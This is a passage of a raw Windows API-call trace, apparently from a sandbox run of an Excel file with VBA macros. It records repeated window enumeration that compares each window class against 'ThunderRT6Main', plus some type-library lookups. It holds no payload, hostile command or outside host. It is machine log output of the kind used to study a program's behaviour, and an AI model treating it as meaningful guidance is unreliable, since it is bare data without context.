(in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0140.999] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0140.999] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0140.999] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0140.999] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0140.999] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.999] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0140.999] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0140.999] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.999] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.999] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0141.000] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0141.000] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0141.000] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0141.000] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0141.000] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0141.000] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0141.000] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0141.000] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0141.000] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0141.000] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0141.000] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0141.000] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0141.000] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0141.000] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0141.000] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0141.000] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0141.000] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0141.000] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0141.000] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0141.000] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0141.000] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0141.000] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0141.000] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0141.000] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0141.000] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0141.000] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0141.000] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0141.000] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0141.000] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5963cf0 [0141.001] IMalloc:Free (This=0x7fefe465380, pv=0x5963cf0) [0141.125] strncpy_s (in: _Dst=0x5964ef0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0141.125] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0141.125] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0141.125] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0141.125] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0141.125] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0141.126] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0141.126] IUnknown:Release (This=0x679bb90) returned 0x15 [0141.126] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0141.126] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0141.126] IUnknown:Release (This=0x5a48630) returned 0x12 [0141.126] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0141.126] IUnknown:AddRef (This=0x679c130) returned 0x9 [0141.127] IUnknown:Release (This=0x679c130) returned 0x8 [0141.127] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0141.127] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0141.127] IUnknown:Release (This=0x679c6d0) returned 0x6 [0144.082] GetCurrentThreadId () returned 0xa30 [0144.082] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0144.082] GetDesktopWindow () returned 0x10010 [0144.082] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0144.082] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0144.082] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0144.082] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.082] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0144.082] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.082] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.082] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.082] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0144.082] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.082] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.082] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.082] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0144.082] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0144.083] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0144.083] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0144.083] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0144.083] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.083] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0144.083] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0144.083] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0144.083] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0144.083] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0144.083] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.083] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.083] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0144.083] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0144.083] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.084] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0144.084] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0144.084] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0144.084] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0144.084] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.084] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0144.084] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0144.084] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0144.084] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0144.084] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0144.084] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.084] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0144.084] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0144.084] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.084] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.084] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0144.084] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.084] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.084] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0144.084] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.084] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.084] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.084] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0144.085] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0144.085] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.085] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0144.085] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0144.085] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0144.085] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0144.085] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0144.085] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.085] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0144.085] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0144.085] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0144.085] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0144.085] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.085] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0144.085] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0144.085] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0144.085] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0144.085] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0144.085] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0144.085] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0144.085] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0144.085] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0144.085] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0144.085] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0144.085] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0144.085] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.085] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0144.085] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0144.086] IsWindowEnabled (hWnd=0x302dc) returned 0 [0144.086] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0144.086] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0144.086] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0144.086] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0144.086] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0144.086] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0144.086] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0144.086] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.086] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0144.086] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0144.086] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0144.086] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0144.086] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.086] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.086] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.086] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0144.086] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0144.086] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0144.086] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0144.086] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.086] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.086] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.086] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0144.086] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0144.086] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0144.086] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0144.086] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.086] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.086] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.087] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0144.087] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0144.087] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0144.087] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0144.087] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.087] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.087] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.087] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0144.087] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0144.087] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0144.087] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0144.087] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0144.087] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0144.087] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.088] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0144.088] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0144.088] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0144.088] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0144.088] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0144.088] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0144.088] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0144.088] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0144.088] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.088] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0144.088] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0144.088] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0144.088] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0144.088] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0144.088] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0144.088] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.088] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0144.088] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0144.088] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0144.088] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0144.088] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0144.088] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0144.088] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.088] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0144.088] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0144.088] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0144.088] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0144.088] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.088] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.088] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.088] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0144.088] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0144.088] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0144.088] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0144.088] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.088] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.088] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.089] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0144.089] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0144.089] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0144.089] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0144.089] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0144.089] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0144.089] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0144.089] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0144.089] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0144.089] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0144.089] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 